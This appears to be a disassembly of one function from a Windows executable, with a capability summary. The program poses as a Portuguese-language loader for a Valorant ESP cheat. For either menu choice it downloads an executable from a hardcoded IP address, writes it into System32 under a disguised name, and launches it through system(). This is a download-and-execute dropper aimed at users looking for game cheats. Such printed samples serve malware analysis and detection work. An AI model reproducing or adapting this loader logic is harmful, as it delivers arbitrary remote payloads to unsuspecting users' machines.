Function at 0x140011560
Capabilities:
Download url
Execute command
Receive data
Set console window title
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xb0
mov rax, qword [0x140078080]
xor rax, rsp
mov qword [rbp + 0x47], rax
xor edi, edi
mov dword [rbp - 0x29], edi
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rdx, eax
lea rax, str..exe
add rdx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 7], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x17], xmm1
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], dil
jne 0x1400115b3
lea rcx, [rbp + 7]
call fcn.1400105b0
nop
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x21], xmm0
mov qword [rbp - 0x11], rdi
mov edx, reloc.WS2_32.dll_ntohs
mov qword [rbp - 9], rdx
mov byte [rbp - 0x21], 0
mov dword [rbp - 0x29], 1
test eax, eax
jle 0x140011663
mov ebx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r9d, eax
mov eax, 0x80808081
imul r9d
add edx, r9d
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub r9d, eax
inc r9b
mov rcx, qword [rbp - 0x11]
mov rdx, qword [rbp - 9]
cmp rcx, rdx
jae 0x140011649
lea rax, [rcx + 1]
mov qword [rbp - 0x11], rax
lea rax, [rbp - 0x21]
cmp rdx, 0xf
cmova rax, qword [rbp - 0x21]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140011659
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rbp - 0x21]
call fcn.1400106b0
sub rbx, 1
jne 0x1400115f2
mov rdx, qword [rbp - 9]
lea rcx, [rbp - 0x21]
cmp rdx, 0xf
cmova rcx, qword [rbp - 0x21]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
nop
mov rdx, qword [rbp - 9]
cmp rdx, 0xf
jbe 0x1400116b5
inc rdx
mov rcx, qword [rbp - 0x21]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400116b0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400116b0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005f25c
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rbx, rax
mov edx, 0xffffffec
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowLongPtrA]
bts rax, 0x13
mov r8, rax
mov edx, 0xffffffec
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov r9d, 2
mov r8b, 0xe1
xor edx, edx
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
mov ebx, listen
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, bx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea edx, [rbx - 6]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [0x140078290]
call fcn.140002ad0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea edx, [rbx - 6]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [0x1400619d8]
call fcn.140011aa0
lea rcx, str._n
call fcn.140011aa0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea edx, [rbx + 4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, str.__________________Selecione_uma_opcao:_____________________n
call fcn.140011aa0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea edx, [rbx - 6]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, str._n_n
call fcn.140011aa0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea edx, [rbx + 4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [0x140061aa0]
call fcn.140011aa0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea edx, [rbx - 9]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [0x140061aa4]
call fcn.140011aa0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea edx, [rbx + 4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [0x140061aa8]
call fcn.140011aa0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea edx, [rbx + 4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, str._Iniciar_Valorant_ESP__HVCI_DESLIGADO_:__n
call fcn.140011aa0
lea rcx, [0x140061aa0]
call fcn.140011aa0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea edx, [rbx - 9]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [0x140061adc]
call fcn.140011aa0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea edx, [rbx + 4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [0x140061aa8]
call fcn.140011aa0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea edx, [rbx + 4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, str._Iniciar_Valorant_ESP__HVCI_HABILITADO_:__n_n
call fcn.140011aa0
lea rcx, [0x140061aa0]
call fcn.140011aa0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea edx, [rbx - 9]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [0x140061b0c]
call fcn.140011aa0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea edx, [rbx + 4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [0x140061aa8]
call fcn.140011aa0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea edx, [rbx + 4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, str._Selecione_a_opcao:
call fcn.140011aa0
lea rdx, [rbp - 1]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov eax, dword [rbp - 1]
cmp eax, 1
jne 0x1400119b2
lea rdx, str.http:__185.101.104.122_espsemhvci.exe
lea rcx, [rbp + 0x27]
call fcn.140003d60
nop
lea rdx, str.C:WindowsSystem32SeieHuSttinstialog.exe
lea rcx, [rbp - 0x21]
call fcn.140003d60
lea rcx, [rbp - 0x21]
call fcn.140003b40
mov rbx, rax
lea rcx, [rbp + 0x27]
call fcn.140003b40
mov qword [rsp + 0x20], rdi
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, str.cd_C:_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_C:WindowsSystem32SeieHuSttinstialog.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
cmp eax, 2
jne 0x140011a30
lea rdx, str.http:__185.101.104.122_esphvci.exe
lea rcx, [rbp - 0x21]
call fcn.140003d60
nop
lea rdx, str.C:WindowsSystem32SeuetingsHostialog.exe
lea rcx, [rbp + 0x27]
call fcn.140003d60
lea rcx, [rbp + 0x27]
call fcn.140003b40
mov rbx, rax
lea rcx, [rbp - 0x21]
call fcn.140003b40
mov qword [rsp + 0x20], rdi
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, str.cd_C:_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_C:WindowsSystem32SeuetingsHostialog.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0xf
jbe 0x140011a6e
inc rdx
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011a69
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140011a69
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005f25c
xor eax, eax
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.14005f5b0
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret